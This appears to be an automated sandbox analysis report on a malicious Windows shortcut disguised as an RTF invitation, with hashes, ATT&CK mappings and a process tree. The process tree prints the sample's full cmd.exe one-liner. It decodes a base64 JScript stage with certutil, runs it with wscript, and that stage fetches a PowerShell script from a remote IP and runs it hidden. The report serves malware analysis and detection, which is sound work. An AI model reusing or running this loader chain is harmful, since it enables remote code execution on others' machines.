4cb9291e6e32ca24e23e63da3fd994adc8199ec504778a699392dd362dd23a84

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
invitation.rtf.lnk
Size 147KB
Sample260720-ph47ysb19s
SHA256 4cb9291e6e32ca24e23e63da3fd994adc8199ec504778a699392dd362dd23a84
MD5 21dd076ea04165cb501921d2b747b83d
SHA1 8457c244f93d874f01983ab5439d5cf43798d1fb
SHA512 dc91d1e5e79dd8f88e8a3bb22de84c98dcab2541a2533774d8657b30d3d06fb9a87cd727f7454c400c8806a0af816f1707b84c1a5cbfe6f69fc0123a6505a8a1
SSDEEP 24:8d/TWq2aYKkRyaWInZU8lvxwz1WOHmnTZzs+m9liHKMhSn:8lT6ganF8HHmtu9liq
TLSH
T1EDE38A3079E81118E6F3FFB17CE876D69EABF6B36931525D9842030A8811E40ED55B3A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3332	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5200	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
5008	cmd.exe
1712	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4680	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5200	powershell.exe
5200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5200	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 5008	4680	cmd.exe	89
PID 5008 wrote to memory of 1712	5008	cmd.exe	90
PID 5008 wrote to memory of 3332	5008	cmd.exe	91
PID 3332 wrote to memory of 5200	3332	wscript.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\invitation.rtf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzg5LjEwNi44My40MC9JbnZpdGF0aW9uX0F1Zy9hcHBvaW50bWVudGluZGVwZW5kZW5jZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs= > hwCO.b64 && certutil -decode hwCO.b64 vc8uL.js >nul && wscript //b vc8uL.js && del hwCO.b64 vc8uL.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\system32\certutil.exe
    certutil -decode hwCO.b64 vc8uL.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1712
- - C:\Windows\system32\wscript.exe
    wscript //b vc8uL.js
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 89.106.83.40 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hwCO.b64

Path C:\Users\Admin\AppData\Local\Temp\hwCO.b64
Size 432B
SHA256 ed01c30c0d548efd8da876d235abfe7f2e977aa90e5cec3e07c6b0d2e28f4e37
MD5 ed57bebc98e9d72b76f5300ee850aafb
SHA1 7d5501102a0ef8e6435d96c1a24e53664ddbacb8
SHA512 0d9b378667924a2f85c59dff5b16f658708a55e4d5c0fac5497619916dd8ce202d4a047ce0488c69b48c3815b5bebe78f0be77df9ab13fb5e6bc08025c3a5501
TLSH
T18DE023C8E04F136391342705AFF1774AF15C505414022BB56F40AC8D3A1EA94D2030DC
MD5 SHA1 SHA512 TLSH

Submit Download

vc8uL.js

Path C:\Users\Admin\AppData\Local\Temp\vc8uL.js
Size 320B
SHA256 1f9ad0c532b4a80e6a680ba1cf301a6507e4b73c3d5ce63fcef09b1e3f1dd7ca
MD5 55a9014f4e223a8904f564abb238da77
SHA1 5e1676cc892642bda10c127df0b5df612e27b5b3
SHA512 2b17ef7f5a2b3d3d154c521171368381ee96a72b59feb89b2430061d74de80b33542ef2a74743f57bb9c2f4b08d6f49988e637f6f46baa4e5bc4016e6ed87cf8
TLSH
T1EFE07DB541B5A0ED50C79FECA4A4E75442DB44B47005ECEBB344CD9424113456A5F28E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5200-6-0x0000025BDBF80000-0x0000025BDBFA2000-memory.dmp

Download